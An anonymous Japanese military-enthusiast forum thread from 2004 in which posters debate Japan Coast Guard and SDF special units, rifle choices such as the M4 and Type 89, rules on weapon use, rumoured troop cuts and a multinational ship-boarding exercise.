を投入することはできないでしょう、よって現在１ＭＳＳで行われている立ち入り検査
課程の改善強化（実際腕力のある船員一人取り押さえる能力すら無い）
http://list5.auctions.yahoo.co.jp/jp/2084005559-category-leaf.html?f=&alocale=0jp&mode=1

どのみち乗り移ったら自爆するから誰がやっても同じ。

対馬警備隊の英記略称って、「TASF」なんじゃないの？


Tsushima Area Security Force

>>432
ASFだがなにか

海保に新型巡視船が出来たと聞いたな。「あそ」だったか？

これだな
第七管区海上保安本部 平成16年9月　定例記者懇談会
大型巡視船進水
ttp://www.kaiho.mlit.go.jp/07kanku/osirase/koho_dekigoto/kouhou/20040930/sinsui01.htm
ttp://www.kaiho.mlit.go.jp/07kanku/osirase/koho_dekigoto/kouhou/20040930/image/fune.jpg

福岡海保に新型巡視船　不審船対策で初配備（産経新聞 10月6日）
ttp://www.sankei.co.jp/news/041006/sha018.htm

40mm……不審船をアウトレンジする気なのか？

ttp://www.dii.jda.go.jp/asdf/wadf/new/k_car.html
西部航空警戒管制団に配備された軽装甲機動車

らしいな。

「海上保安庁の不審船への対応について」
ttp://www.kaiho.mlit.go.jp/07kanku/osirase/koho_dekigoto/fastvessel/taiou01.htm

不審船が保有する武器のうち威力の大きなものとしては、携行地対空ミサイル(有効射程約５，０００メートル)、
対戦車ロケットランチャー(有効射程約５００メートル)、８２ミリ無反動砲(有効射程約１，０００メートル)、
１４．５ミリ二連装機銃(有効射程約２，０００メートル）等があります。
このため、これらのうちの最大距離である５，０００メートル以遠から対応することを基本とし、
より遠距離から正確な射撃のできる機関砲を有した高速力の大型巡視船等を整備することにより、
不審船を安全かつ確実に拿捕することとしています。

・・・40mmで船体射撃したら拿捕どころか木っ端微塵になりそうだが・・・。

40mm……海保の軍事化に拍車がかかるな。

海保自身は警察組織になりたいのか、軍事組織になりたいのか、
どう思っているんだろうか？

40mmは今でも海保巡視船の標準装備ですが、それが何か？

>>450
今までは20mmじゃなかったの？

76mm積めよ

旧式の40mmはもはや一部の耐用年数間近の巡視船（「そうや」「つがる」等）くらいしか積んでないよ？
しかも大戦中のボフォース40mmに毛が生えた程度の代物。
最新のFCSボフォース40mm機関砲と比べるのが憚られるくらい。
在来の大型巡視船の標準兵装はエリコン35mm機関砲だ。

>>452
臨検抜きで一発で沈める気か貴様ｗ

いや、せめて40�p砲を

400mm…何を狙う気ですかｗ

当然…ウケを狙ってるんだろうな、軍ヲタの(笑)


…

;y=ｰ( ﾟдﾟ)･∵. ﾀｰﾝ

>>449
海保は海上警察軍になりたいのです。
つまり警察組織と軍事組織の両方になりたいのです。

今月、下旬のPSI訓練でSSTのM4カービンが見られるかな？

見られない

>>458
海上警察軍……例を出してくれんか？ちと想像しにくい。

しかし、今ひょっとして自衛隊より武器使用の基準ゆるいだろ海保。

＞＞４６１
海上警察軍の例
例・・・・フランス国家憲兵隊海上部隊
　　　　　アメリカ沿岸警備隊

海保のROE・・・逃げられそうになったらエンジンのありそうなところを
　　　　　　　　狙って撃て！
　　　　　　　　撃たれたら、ブリッジをめがけて撃ち返せ。
　　　　　　　　それだけです。それだけで警察官職務執行法第7条と
　　　　　　　　刑法はクリアです。せっぱつまった現場でそれ以上難しいことを
　　　　　　　　考えている余裕はありません。
　　　　　

>>461
国境警備隊にして海洋警察だから。
警察比例の法則と、国連海洋法と、国内法が許せば、軍隊よりも国際的な規制は緩い。

>>462-463
なるほど、ソレか。
いいなぁ。

自衛隊も工作船に警告の爆弾投下しか出来なかったんだよな？

コレって最近改善されたっけ？

SSTのメインアームはＭ４だが。

海保の目指すところは「警察よりも重武装、軍隊（自衛隊）よりも強い権限」

・・・将来的には「警察よりも強い権限、軍隊並みの重武装」になってたりして。

>>465
いつから？

>>465
M4シャーマンだろ？

>>459、>>465
また始まったな（プッ
SSTがM４を装備しているとほざくアフォが（プッ

M4を装備している特戦群とSBUがそんなに羨ましいかい？坊や

>>461
平時は海保の方が緩い。
海上警備行動の時は似たようなもの（海自が海保の権限に追いつく）。
警護出動以上は海自の方が緩くなる。

>>463
＞警察比例の法則と、国連海洋法と、国内法が許せば、軍隊よりも国際的な規制は緩い。
もしよければ、「軍隊よりも国際的な規制は緩い」の根拠を教えてください。
国際法の「海上警察権」は軍と政府船舶は同じだったと思ったから。

>>470
海自には、それが命令されない限り、海上での治安行動は行なえないことになっているけどね。

ＳＳＴ厨は、何がなんでもSSTにＭ４を装備させたいようだな

海自、陸自の特殊部隊についで俺たちもほしぃとゆうことで、空自にも基地防衛教導隊
とかいう訳のわからん部隊が出来ようとしているが特殊部隊ではないことは確かね。
でもこのような精強な基地警備隊が出来るとなると、テロ、ゲリ、コマ連中も易々とは
基地に潜入出来んわな、となると海自の基地や港湾防備は大丈夫？今体制の陸警隊じゃ
果てしなく？？？？の状態。海自も早急に機動的に運用できる基地警備隊を創設するのが
急務なのでは。

伊賀くノ一が最強

>>473
基地警備隊の数が少なすぎる事を誤魔化すために作っただけのような気がする。
第一見つけられなかったら意味無いんだぜ。

>>459&465
ボケが。SATマガジンを見て泣いてこい！
89式小銃なのが現実だ、タコ！

疑問!!
なぜにここのいる連中はＭ4が好きなの？
米軍好き？アメ製兵器ﾏﾝｾｰ？アメ特殊部隊厨？

>>477
違う。
特殊作戦群がM４を採用していることが羨ましくしょうがないSSTヲタの
妄想書き込み・・・

M4ってそんなに羨ましいの？

89よりは羨ましい

>>478
特殊作戦群がＭ４使っているって話も妄想だろ（プッ

だから何？

としか言い様のないことなんですが…

どうせなら新製品なXM8にすればいいのに

>>482
その、だから何？程度のﾈﾀを、延々ループさせるのが池沼と言うﾓﾉで…

>>467
昨年末からM4が導入されました。
SSTの任務にPSIが追加されたときからです。
豪州の訓練以後、89式、MP5、P228以外にも
大型船の臨検時にはM4があった方がいいらしい。という
意見が現場から出されて補正予算で購入されました。

なんでこのスレSSTヲタ派と駄目派多いんだ？
ここは軍事系特殊部隊専用スレなのに治安系のSSTはスレ違いだよな
有事にSSTはなんも有効活動できる法律ないし（SBUは敵泊地後方かく乱やノドン
ミサイル基地破壊などの任務がある）将来的になんら発展性がない→SST
>>485
１０月末のPSIで４８５氏が正しいかどうか証明できるでしょう。

>>485
ププッ必死だなSSTヲタ

おまえがどんなに「SSTがM４を装備している」と力説しても誰も信じないよ。

補正予算？？
おまえアフォだろ？
どうせ嘘つくなら、もっとバレないような嘘をつけよ。
海保の補正予算の実態を知っているのかい？

SSTマンセー坊はうせろ、黙って海保は不法漁業取り締まりや麻薬取引、航路帯
の安全監視に徹し、軍事系に顔突っ込むな。うざい、悔しかったら自前で銃器
開発してみ

SST厨によるM4装備云々という妄想書き込みは、今に始まってわけじゃないから・・・・

流石にSSTがM4自動小銃を装備しているというのは無いですね（笑）
487氏の指摘どおり、海保の補正予算というのは国土交通省管轄下での決定事項
でありまして、SST優遇の割り当ては不可能なのですよ。

私の知っている情報内では、日本の特殊作戦部隊の中で、米軍の特殊作戦部隊が使用
するM4自動小銃を採用しているのは、陸自の特殊作戦群と海自の特別警備隊ですね。
これらの部隊は、米軍の特殊作戦部隊とリンクしているので至極当然なのでしょう。

SATはなんで８９式小銃を装備しないの？
MP５のみで凶悪テロに対処出来ると思ってるのでしょうか？

＞＞491
適切なご指摘ありがとうございます

SATはマウントするわけではないしMP5で十分です、でも何丁かは入っていると
思いますよ。

>490，491
なんで人の名前を使うのかねえ。(トリップが違います。)あなたが書き込んだ情報に自信があるなら，人の名前を使わず堂々と書き込めばいいのに。
ちなみに私はSSTに関しては独自情報を持ってませんので，この種の書き込みはいたしません。

偽者現れたな（プッ
まあどっちが本物でもいいや。
SSTがM４持ってるはず無いしね。

SSTは治安組織の特殊部隊だから、このスレにSSTネタを書き込むのはNGね。

基地の警備に新戦力　空自初の軽装甲機動車
ttp://www.asagumo-news.com/news/hp0930/P-DN-040930-06.jpg

これって基地防衛教導隊と関係ある？それとも西警団だけ？

海猿のID違いが3人くらい確認されているな…。

陸自定員、5―10年で４万人削減・政府方針
ttp://www.nikkei.co.jp/news/seiji/20041009AT1E0800S08102004.html
・特殊作戦群や西部方面普通科連隊や第１空挺団はそこまで関係ないか。

・でもせっかくだから
１．憲法改正
２．海軍陸戦隊を半世紀ぶりに復活
３．危険地域からの邦人輸送や陸上兵力海外派遣を海自へ移管
とかやってみてほしい・・・まぁ１で挫折かな。

>>489
新聞から読み取れるのは西警団だけ。

>>500
君の文面から読み取れるのは、君が海厨だってことだけ。

後追い記事が出るかな？

>>501
海は嫌いかな？

(>>463)＞＞ 警察比例の法則と、国連海洋法と、国内法が許せば、軍隊よりも国際的な規制は緩い
(>>470 )＞もしよければ、「軍隊よりも国際的な規制は緩い」の根拠を教えてください。
返事こないんだけど、これも海保派の妄想でったのかな？

>>471
海自は警察ではなくて軍だし、領海警備をさせようとすると噛み付く人達が
いるからねー。

>>504
　>>471

はて…俺は>>471が回答になってるように読めるのだが…

そっか、>>471回答だったのか。
自分は「軍隊よりも国際的な規制は緩い」で「国際的」って書いてあったから
国際法とか国連海洋法の話かなって思っていたんだ。
でも>>471って国内法の話で国際的でも何でもないと思ってた。

まぁ、なんと言うか申し訳ない。

軍艦と政府公船の扱いは基本的に国際法上は同じ。
問題は国内法でどう規定するか。
日本の場合、海自は海上警備行動が発令されないと海保と同じ権限は行使できない。
といってもそれだって警職法に準拠してるから必ずしも十分であるとは言いがたい。
海保にとっても、海自にとってもね。

もうひとつは紛争地域や境界線付近では正規軍よりも
コーストガードや国境警備隊のほうが動きやすいということはある。

>>503
別に

今どき
リュングマンシステム採用なんてありえないｗ
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　　　　　 | ノ　 _,　　,_ ヽ　　　　 　 　（（ 　 |
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　　　　 |　　　　( _●_)　 ミ　＿　(⌒)　 >>Ｍ4　））
　　　　彡､　　　|∪|　　ノ　　
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　 ＼　ヽ　 /　　 　 　　 ヽ　/
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法的な武器使用基準。
どれか１つを満たせば、それに応じた武器使用ができる。

◎海上保安庁（有事も平時も同じ）
　　・警職法７条に基づくもの・・・・・・条件付で危害射撃可
　　・正当防衛・・・・・・・・・・・・・・・・・・条件付で危害射撃可
　　・緊急避難・・・・・・・・・・・・・・・・・・条件付で危害射撃可
　　・領海で発見した不審船など・・・危害射撃可

◎平時の自衛隊
　　・武器など防護・・・・・・・・・・・・・・・・・威嚇射撃のみ可
　　・自衛隊施設など防護・・・・・・・・・・・威嚇射撃のみ可
　　・正当防衛・・・・・・・・・・・・・・・・・・・・・条件付で危害射撃可
　　・緊急避難・・・・・・・・・・・・・・・・・・・・・条件付で危害射撃可

◎海上警備行動中の海上自衛隊
　　・武器など防護・・・・・・・・・・・・・・・・・威嚇射撃のみ可
　　・自衛隊施設など防護・・・・・・・・・・・威嚇射撃のみ可
　　・警職法７条に基づくもの・・・・・・・・・条件付で危害射撃可
　　・正当防衛・・・・・・・・・・・・・・・・・・・・・条件付で危害射撃可
　　・緊急避難・・・・・・・・・・・・・・・・・・・・・条件付で危害射撃可
　　・領海で発見した不審船など・・・・・・危害射撃可

ＡＲ１５系を採用してる国も
大多数がリュングマンシステムを通常の構造に変更している
設計者のストナーもＡＲ15のデメリットを認識しており
ＡＲ18やストナーウエポンシステムで
通常のガスピストン式にしている
(が、Ｍ16を糞銃にしたのはコルトとUSｱｰﾐｰ。間違いない)
つまり、ＡＲ18ベースの89ＲあるのにＭ4にする理由がないのだ
Ｍ4が最強だと思っているのは厨房の幻想だなｗ
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各国特殊部隊でM4が採用されているのは、アクセサリとの親和が良いからなんだが…

RISだのRASだの、か。

>>514
そう。
機材の発達というより、ノウハウに合わせた改善やら改修が、まだ進んでいる状態。
だから、ああいう規格マウントに、機材を合わせさせて、次々試している感じだあね。

特別警備隊を発展させて上陸強襲偵察や陸上戦闘もこなせる海兵隊大隊を自衛艦隊指揮下
に設置するべき。
中隊規模の編成から大隊規模に発展させるべき。
アメリカでは海兵隊も船舶臨検をこなし、上陸作戦の偵察もこなすぞ。
日本憲法には海兵隊を持ってはいけないとは書いていない。
戦力を保持してはいかん。と書いているだけだ。
内閣法制局はこれは集団自衛権と侵略戦争を禁じていると解釈してるんだろ。
侵略軍の後方を突いたり、占拠された島を奪回するための部隊なら問題ないだろ。
海上自衛隊が独自に上陸作戦のための部隊を持っていても不思議ではない。
陸自が離島を奪回する目的などでレンジャー連隊を保有することも必要だが
上陸支援、臨検などの海上戦闘、海上から陸上への進出のための部隊を
一個大隊程度、持つことも必要だと思う。

海兵隊つくってもSBUは残しておくべきでは？
SBUはむしろ水中破壊工作みたいなのがメインっぽいし。

まあ、確かに｢出先の警備｣を担う部隊が、海軍にあれば便利だろうが、大部隊での戦闘を前提に編成するほどの必要性もあるまい。
あるとしたら、どこを対象としているのか教えれ。

それはもちろん北ちょ

やっぱ厨か

一番現実的なのは、WAiRを陸自から海自に移管すんのがいいんじゃねーか？

単にWAiRを輸送艦部隊と統合運用するだけではﾀﾞﾒなの？
島嶼防衛任務部隊みたいな感じで

>>521よりも>>522の方が現実的に見える。

>>521
一番かどうかは知らんが、非現実的だな。

未確認情報ですが、海保（ＳＳＴかは不明）がＭ４を使っていると聞きました。
海保に知り合いがいる、というひとから聞いただけですので、何とも言えませんが、一応。

　ま　た　Ｍ　４　か　

M4なんざどうでもいいんだよ…。M4持ってたらどうだって言うんだ？

SSTにM4よりも一般の海上保安官にサブマシンガンがほしい。
船内では89式が使いにくいんで・・・。

使いにくいんで・・・。 ってアンタ海保の中の人？

>>525
散々このスレで叩かれたのにまた妄想書き込みしているのでちゅか？坊や（ププッ

>>528
9mm機関拳銃は？
役に立つのかは知らんがｗ

>>531
多分、役立たない。
ストック無いと、揺れる船内で射撃コントロールが困難だと思われ。
一般に、アのﾀｲﾌﾟの大型火器より、拳銃の方がコントローラブルだといわれているし。

>>532
聞いた話では、SBUは、創設当初は９ミリ機関けん銃を使っていたが、
来日して直接指導していたイギリス海兵隊SBSの教官に指摘されて、MP５
シリーズに更新したそうな。

米子の第8普通科連隊だったんだね。
徒手格闘の訓練してたね。

>>492
装備していないという根拠は？
すでに公開された映像では、89式小銃をバスの上から援護射撃する場面があり、SATが89式小銃を装備しているのが明らかになったはずだが・・・

結論　9mm機関拳銃＝無用のガラクタ。

>>515
本当に特殊部隊がRISやらRASやらSIRを搭載していると？
わざわざそんなゴテゴテしたものをつけるとでも？

ttp://cgi.2chan.net/f/src/1097405476143.jpg

>>532
拳銃はコントロールが難しい火器、と言うのが一般的なんだが(；´Д｀)
どこの一般？
それにだ。
9mm機関けん銃は弾幕を張るためのものであって、正確なコントロール云々なんて言うのは、ものを知らない証拠。
無用のガラクタなんぞ言うボケは死ね。

>>539
GUN誌の実射レポートで3人ともその見解を示していたと思う。即座にｿｰｽ出せずにｽﾏｿ。
拳銃＞（コントロール性能)＞あのﾀｲﾌﾟの小型SMGだそうな。

理由は、拳銃より大質量のボルトが、拳銃よりも上で動く事、グリップアングルが悪いこと。
補助グリップなどあっても、小型故に構える姿勢が窮屈に制限されること。

一般、というのはこう言う感じかな。

GUN誌のあの方々のレポートは今一つ信用していない。
拳銃の実射にしても、何人かに撃たしているが、フィンガー長を考慮してなかったり、明らかに不利な条件でレポートしたりと、色々と問題がある。
そもそも弾幕を張るための火器に精密な射撃をするためのコントロールが必要だとでも？

M4使わされるくらいなら、レイルアダプタつけた89Rの方がずっと良かったが。
アメ帰りの厨のヨタ話をうのみにしてしまう○○ってなあ…狙撃銃もそうだし…

>>541
信用するかどうかは知らない。
が、三人が別々のレポートで、ほぼ同様の一致した見解に至った事を指摘しただけ。

特殊部隊が拳銃弾仕様火器の要請にあたって、CQB運用は少なからず要求したと推定できる。
理由は、80年代後半から90年代半ばまでの、CQBにSMGを運用していた一連の流れから。
これ以前に、SMGの野戦における価値は激減してもいるが。

9�_機関拳銃が、CQB運用に不向きと指摘するのは
1.オープンボルトでセミオートであっても初弾の命中精度が、クローズドボルトに比べて悪いこと。
2.小型でストックが無いことから、ストックのあるMP5などに比べて、精度で劣る事
3.切り詰めた形態のため、アクセサリの取りつけ、発展の余地が薄いこと。
4.CQBのデリケートな想定のミッションでは、弾幕を張る運用がしづらいこと。逆に精度良いSMGがあれば、デリケートなミッションと弾幕との両方に使える事。

以上の判断から、9�_機関拳銃を特殊部隊で運用しない事を説明できると思う。

つくずく思うんだが何で８９式マンセーな人が多いんだろうか？
訓練・演習ではあれでもいいんだが、実戦に駆り出される事を考えればそら恐ろしい・・・
装填不良はしょっちゅうだし、だいたい切替レバーが右側にしかない時点でもうだめぽ。
イラク仕様は左側になるように切替軸部丸ごと交換してるが、それでも使えないと言う意見が早くも上がってる。
レバーをアからタの位置に動かすのに２００度以上回転させねばならないのはおかしすぎる。
撃つ前に握杷を持った右手の人差し指を引き金からわざわざ離して一番遠いタの位置まで
もっていくのは、せっかくとった射撃姿勢を台無しにするんだが。

>>544
ｵﾀどもの間では、発表されたころから言われてますがな…
そんなもんに命を預けて戦わねばならない自衛官…
つか、それで良しとしたお役所は防衛庁…

>>544
お米の国ではベトナムのときＭ１６で似たようなクレームが出て改善されたと聞いたんだが……


豊和工業、ちっとは考えろ…メール出すか？

新橋にあるのは豊和工業の本社なのかな。
ゆりかもめのホームから見える。

>>544
豊和工業に要望メールでも送ってはｗ？

豊和はとりあえず値段を下げろ。
あんなのが30万なんてアフォですかとしかいえない。

>>547
東京事務所です。本社工場は愛知県

http://www.howa.co.jp/
http://www.howa.co.jp/japan/index.html

むぅ…89式小銃が紹介されてない…

実戦になれば、切り替えレバーをそんなに細かくは変えない。
アの位置にするのは安全が確認された地域だけ。規則がどうあれな。

「せっかくとった射撃姿勢」でまだレバーを切り替えてないって？
自衛隊流に毒されてるのは君のほうだよ。

>1J氏･･･大変です！

387 ：名無し三等兵 ：04/10/10 20:28:53 ID:???
>>384

第２師団旅団化→６０００人削減
第7師団廃止→１００００人削減

東北方面隊より１個師団廃止→９０００人削減

中部方面隊より１個師団旅団化→４０００人削減

西部方面隊より１個師団旅団化→４０００人削減
西部方面隊より１個旅団廃止→６０００人削減

あとは第１空挺団の廃止

これで４００００人。財務省に務めている奴に聞いたから間違いない。
とにかく無茶苦茶だと奴も言っていた（一応軍事知識は持っている奴）

>>553
そのヨタ話をまともに受け取ってわざわざ転載する君はアフォ

第一空挺廃止って…
うひゃ！って感じだなおい

>>554
財務省ならマジで考えてそうだから恐い。
ま、あくまでネタとして貼ったんだけどね。
空挺はこないだ増強決定したばかりだし。
けど、最初に書いたとおり不安はありますけどね。

拡散防止合同訓練、海自も乗船検査　本日程の翌日 (朝日）
ttp://www.asahi.com/politics/update/1011/001.html
　大量破壊兵器（ＷＭＤ）関連物資を積んだ船を各国が共同で停船させ、物資を押収する
ことを想定した「拡散防止構想」（ＰＳＩ）のための合同阻止訓練が、日本政府の主催で今
月２６日、東京湾沖で米豪仏３カ国と合同で行われる。海上保安庁が中心のこの訓練とは
別に、２７日には海上自衛隊が３カ国と合同で乗船検査訓練も行う。本訓練では近隣諸国
への配慮から、海自の役割が情報提供に限定されたためだ。海自が多国間で乗船検査
訓練を実施するのは初めてだ。
（中略）
　海自も初参加するが、Ｐ３Ｃ哨戒機が通常の活動中に容疑船を発見・通報するだけで、
護衛艦は停船・捜索活動には加わらない。外務省などとの事前調整で、中国や北朝鮮な
ど近隣諸国への刺激を避けるため、海自の役割が情報提供に限定されたためだ。
　だが、防衛庁は「自衛隊の本訓練への全面参加は可能」と主張した。現行法で
（１）日本への武力攻撃事態（２）周辺事態（３）不審船追跡のような海上警備行動の発令
時には、自衛隊による乗船検査は可能とされているためだ。
　このため、妥協案として海自が本訓練の翌２７日に「ＰＳＩ訓練の一環」という位置づけで、
横須賀沖で米豪仏３カ国と乗船検査の訓練を行うことになった。停船中の容疑船に各国
の検査班がそれぞれ乗船して立ち入り検査する。武器を伴う訓練ではなく、特定国を想
定するような状況設定もしないという。
　ＰＳＩの合同阻止訓練は昨年９月に豪州沖で行われて以来、スペイン、フランス、米国な
どが主催し、自衛隊はこれまではオブザーバー参加だった。
　日本政府はＰＳＩへの取り組みとして、昨秋からアジア諸国と拡散防止の輸出管理対話
や不拡散協議を実施。今回もアジア諸国を中心に参加を呼びかけた。だが、アジアから
の正式参加はなく、中韓両国はオブザーバーも派遣していない。
(10/11 06:32)

ついにSBU,MITがわれわれの前に姿を現すのか！
大注目だな。

>>武器を伴う訓練ではなく、特定国を想 定するような状況設定もしないという。

・・・・どんな訓練よ？

海自主催で臨検訓練を開催するみたい。
大量破壊兵器拡散防止とは別の臨検訓練だろ。

新聞読んだら削減って確かに載ってたような(　´Ａ｀)

>>552
＜自衛隊流に毒されてるのは君のほうだよ。

まったくそのとうりで。
もっとも安全装置を解いたまんまで野外（特に錯雑地）や行軍、或は夜間動き回りたいとは思わんが。
だからこそ右側に切替部を付けてるんだろうが・・・
滅多にないことだが不意に暴発する危険も考えればベストなのかもしれんが。
イラクに居る人等もがんじがらめのＲＯＥで行動せにゃいかん。
そして万が一の事態に遭遇した場合瞬間的に判断せにゃならん・・・・
そうなった時が恐い。親指一本で動かせるのとわざわざ人差し指で動かす・・・
この差は大きい。

>>553
>第7師団廃止→１００００人削減

第７師団の定員って５千人ぐらいじゃなかったっけ・・・

SBUはMH53から空挺降下するらしぃ

そもそも安全装置を解除していない状態で射撃姿勢をとらなければいけない
場合もある。（対遊撃行動などでは特に厳守するように言われた）
警職法と同じ様なことしなければならん様なＲＯＥ、ＳＯＰにも問題があるんだが。

>>561
何新聞だ。

>>564
自由降下ならいけるだろうが、自動開傘降下は無理。
ランプドアから飛び出した瞬間に頭ぶつける。
チヌークに比べるとやや機内の高さ（特にランプドア周辺）が低い。
機体に降下仕様の改造加えれば大丈夫だと思うが。

久しぶりに燃料投下

　　　低烈度装備体系
隠密行動　隠密潜入　　　　　特殊降下潜入　特殊降下用ナビゲータ
　　　　　　　　　　　　　　　　　　　　　（特殊降下傘）
　　　　　　　　　　　　　　　　　　　　　（高高度空中投下システム）　　　
　　　　　水上潜入　　　　　　　　　　　　舷外機付きボート
　　　　　水中潜入　　　　　　　　　　　　潜水器材　
　　　　　　　　　　　　　　　　　　　　　（開放式潜水器材）
　　　　　　　　　　　　　　　　　　　　　（半閉鎖式潜水器材）　　　　　　　
　　　　　　　　　　　　　　隊員行動支援　隠密行動用戦闘装着セット
　　　　　　　　　　　　　　隊員防護　　　（個人用防護装備含む）

情報収集　隠密情報収集　　　　　　　　　　ファイバースコープセット
　　　　　その他の情報収集　　　　　　　　（各種情報収集装備）

対処　　　狙撃火力　　　　　　　　　対人狙撃銃
　　　　　　　　　　　　　　　　　　対物狙撃銃
　　　　　特殊戦闘火力　　　　　　　特殊小銃
　　　　　室内戦闘火力　　　　　　　短機関銃
　　　　　予備火力（サイドアーム）　サイレンサー付き拳銃
　　　　　低致死性　　音響・閃光　　閃光手榴弾
　　　　　　　　　　　催涙　　　　　催涙ガス発射筒
　　　　　　　　　　　ゴム弾　　　　　　　　（低非致死性）　　　　
　　　　　建物内離脱支援火力　　　　散弾銃　（普通弾）
破壊　　　突破口の形成　　射撃による破壊　　（衝撃破砕弾）
　　　　　　　　　　　　　爆破薬による破壊　突破口形成爆破薬
　　　　　屋外離脱支援　　　　　　　　　　　無線起爆装置
　　　　　携帯障害処理　　　　　　　　　　　携帯障害処理器材
夜間戦闘　射撃用　　　　　　　　　　　　　　（新近距離照準用暗視装置）
　　　　　行動用　　　　　　　　　　　　　　（新個人用暗視装置（個人用））
通信　　　ハンズフリー通信　　　　　　　　　ハンズフリー無線機　　　　

>>596-568
　久々に体を張ったﾈﾀﾌﾘｷﾀ━━━(ﾟ∀ﾟ)━━━!!!!
　MHの時点で、J官氏以外が書いたら、「自営業閣下読み杉｣って突っ込み入りますぜ。

　っていうか、真偽は問わないが…
　ﾏｼﾞかよ…空挺、ﾏｼﾞかよ…
　(;´Д`)ﾊｧﾊｧ
　勤務乙＆ｶﾞﾝｶﾞﾚ。

>>565
　遊撃だと、暴発でこちらの意図を晒して、特殊作戦全体をﾀﾞﾒにした戦例はあります。
　したがって、対遊撃においても、その態勢を保つ事は、故なきでは無い様です。

　もちろん、映画のBHDのように、人差し指をくいっとやって
「漏れ様の安全装置はｺﾚだぜ」
　というのは、たしかにｶｺｲｸはありますが。

>>566
日本経済新聞だよ。

補足　
特殊降下用ナビゲータ　　　独国製
特殊降下傘　　　　　　　　米国製　（藤倉航装でライセンス生産）
高高度空中投下システム　　国産　藤倉航装
舷外機付きボート　　　　　仏国製
開放式潜水器材　　　　　　伊国製、国産　アポロ、Ｓプロ等
半閉鎖式潜水器材　　　　　独国製
隠密行動用戦闘装着セット　国産　不明
ファイバースコープセット　国産　不明
対人狙撃銃　　　　　　　　米国製
対物狙撃銃　　　　　　　　米国製
特殊小銃　　　　　　　　　白耳義国製（ライセンス生産品）
短機関銃　　　　　　　　　独国製
サイレンサー付き拳銃　　　瑞西国製
閃光手榴弾　　　　　　　　英国製
催涙ガス発射筒　　　　　　国産　豊和工業
散弾銃　　　　　　　　　　米国製
無線起爆装置　　　　　　　国産　日本電気・住友電機
携帯障害処理器材　　　　　米国製、国産　不明
新近距離照準用暗視装置　　国産　日本電気（米国のライセンス生産）
新個人用暗視装置　　　　　国産　日本電気（米・英国のライセンス生産）

　　　　　　　　　　　　　　　　　　　　　　　　だそうで。

>>571
どこも後追い記事書いてないし、ただのトバシだろう。

電話したら、「ウチの記者の特ダネ」とか言ってたが怪しさ爆発だな。

日本製暗視装置って湾岸戦争で活躍したらしいですけど、本当ですか？

>>573
そうですよね…。

空挺廃止なんてどこに書いてあるんだよ
http://www.nikkei.co.jp/news/seiji/20041009AT1E0800S08102004.html

＞特殊小銃　　　　　　　　　白耳義国製（ライセンス生産品）

それってP９０のことかな？

ミネベアがP90のライセンスを取ったというウワサは本当だったのか？

また微妙な銃を……

M4だろ。M4の生産は今FNが中心。

>>580
えっ？
M4シリーズってアメリカ製じゃないの？？

>>570
そのネタが何かはわかるが、隠密行動を伴った作戦とは話が違う。
特殊作戦を、暴発させるような隊員でさせること時点で間違い。
いずれにせよ、射撃直前まで安全装置を外さないというのは常識外。
対遊撃行動や室内戦の基本は、安全装置ではなく銃口の向く方向で安全性を確保する。
カッコいいかどうかの問題ではない。

自衛隊の市街戦教範ではどうなっていたかな？　そこまで書いてなかったはずだが。

米と合同訓練もやってるみたいだし、銃口の向きに関しちゃ大丈夫だろうケド…


セフティはどうなってんだろ。

>>581
M4シリーズはアメリカ製ですた。
M16A2の生産が全部FNになった話と勘違いします太。

１J官さん、M４が載ってませんが？
別調達なんですか？

２７日に行われる海自主催の臨検訓練にはSBUは１００％参加しないと思う。
９ミリ機関拳銃を携行したMITだろうな。

２６日に行われる日本政府主催の臨検訓練にはSSTは１００％参加しないと思う。
89式自動小銃を携行した特別警備隊（SRS)だろうな。

>>582
言いたいことは判るが、SOPは疲労しきって判断力の低下した状態で、参照されるべきもの。
だから、事故があれば、対応したSOPが作られる。

デルタの話は、BHDにそのエピソードがあったから、蛇足に書いたまで。
別に、サバゲ標準で書いたわけじゃないから(´・ω・`)

どうやら空自の基地防衛教導隊は特殊部隊として扱ってもいいかも。
ＳＢＵが陸警の教育を担当するように、防衛教導隊が基地警の教育をする。
ＳＡＴやＳＳＴの様なシューター達が主力になりそう。
これで三自にとりあえず「特殊部隊」がそろう訳だ・・・
国外に出てどうこうしようとする発想の元作られた部隊があるのは陸と海だけか・・・
肝心の空が消極的じゃあなぁ・・・
しっかりしておくれよ空自さん。

SSTは訓練に100%参加するだろ・・・・・
SBUは参加しないだろうな・・・
海自はSBUを表に出させたくないだろうし。

SBUにしろSATにしろベールに包まれてこそ特殊部隊の魅力があるんだろう・・・

最近のSSTは特殊作戦より東南アジア各国の沿岸警備隊への教育に力を入れているような気がする。

>>589
空軍基地は、高価値目標ですからね。
航空燃料のように、毒性ある物質も大量にありますし。

空自の警備要員のほうが、国外で活動する可能性が高いのは確かですな。

>>588
SOPについて誤解してるなあ。
不注意の事故でいちいちSOPを変えるわけないだろ。自衛隊は別として。
そんなことしていたらどんどん複雑化していくだけだ。

>>593
食いつくなあ。
自衛隊のことは知らないけど、銃のｽﾀﾝﾊﾞｲﾎﾟｼﾞｼｮﾝやなんからｈ…
ま、いいや。
確かに、実際の特殊部隊のSOPに付いて熟知しているかといえば、熟知していないわけだから。
厨住人ですまんね♪

けっきょく>>582の意見に替わってるところが笑える

変わったか…そう読めたらすまなかったね。何しろ厨脳だから。

>>592
うーん、国外に出て活動する場合空自は自前の航空機と若干の関連施設しか警備しか
してないしね。空港やその周辺を守ってもらおうとすると規模的な問題から陸自に
丸投げしてるのが現状だしねェ（ＮＥＯ訓練の際のＡＡＲでも結局自分とこの航空機
以外は陸自に任せる、ちゅう結論に至ったし。海自も同じになったけど）
やっぱりこれらの戦力は統合運用にすべきなんだよなぁ・・・
それにしても縄張り意識ってのは凄いは、根深いってもんじゃないね。
遺伝子レベルで刷り込まれてるのかなｗ

>>597
本来は、その飛行場ある領土の主権国が警備義務を負うのが、原則のはずですけどね。
それが全幅の信頼の対象ならいいんですが…
そもそも自衛隊を派遣する状況というのが、治安良からざる状況を想定しているわけで…

つか、実務での調整がそんなに大変なのか…

そーいや、現状で朝鮮戦争が勃発したと仮定して、自衛隊はＮＥＯを行なえるの？


現地での武器使用はともかく、国連軍との共闘とか、現在の法解釈じゃできないんじゃ？

>>598
設想からして極端だからね。
＜現地の警察機構は崩壊状態、軍の一部は反乱を起こして現地民だけでなく在留邦人にまで危害を
　及ぼしかねない状況。
＜在外邦人には危険だが現地の治安は比較的に安定しており？？現地警察とは連絡・調整が可能。
　現地軍が警備するほど切迫しておらず、反日デモ隊がいる程度。
なのがあって。いったいどっちなんだよ！いいたくなる。
設想自体狂ってる・・・

>>600
派遣認定はゆるく、しかしROEはガチガチ、想定は支離滅裂…

やっぱ文民統制が間違いの(ry


